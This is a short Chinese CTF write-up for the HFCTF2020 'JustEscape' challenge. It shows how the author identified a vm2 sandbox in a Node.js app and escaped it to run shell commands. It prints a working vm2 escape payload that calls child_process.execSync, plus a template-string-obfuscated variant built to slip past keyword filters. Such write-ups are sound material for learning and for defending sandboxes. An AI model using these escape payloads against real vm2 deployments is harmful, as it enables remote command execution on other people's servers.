0%

HFCTF2020 JustEscape

[HFCTF2020]JustEscape

JS的题,又欺负我不会JS,稍微记一下以后入门用

题解

因为题目提示这可能不是一个PHP站,所以题目中run.php可能是一个故意设置的路由,简单测试之后发现报错完全不是PHP风格,猜测或为python或js。测着测着突然出现了一句TypeError: Cannot read property 'toString' of undefined,js无误了
后来看别人的wp,js测试的话可以用Error().stack直接查看报错信息,还能获取更多的信息
得到输出

Error
    at vm.js:1:1
    at Script.runInContext (vm.js:131:20)
    at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
    at /app/server.js:51:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

使用的是vm2这个库,查了一下,就是一个运行不可靠代码的沙盒,有如下逃逸的payload,github上有

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
 TypeError.prototype.get_process = f=>f.constructor("return process")();
 try{
  Object.preventExtensions(Buffer.from("")).a = 1;
 }catch(e){
  return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
 }
}+')()';
try{
 console.log(new VM().run(untrusted));
}catch(x){
 console.log(x);
}

js拼接字符串

(wp上说题目过滤了很多字段,但是我实际上测试的时候输入啥回显都是一样的,看不出来有什么过滤,菜)
在引号被过滤的情况下,反引号也可以代替引号
js的这个字符串拼接我也是看的云里雾里,大致是`${`x`}y`这个形式,会得到内容为xy的字符串,而单独使用`${x}`则是将x作为一个变量引入,所以通过如上方法对所以被过滤字符串进行拼接,得到一个可绕过的payload

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`ls /`).toString();
    }
})()

得到如上payload
获取根目录flag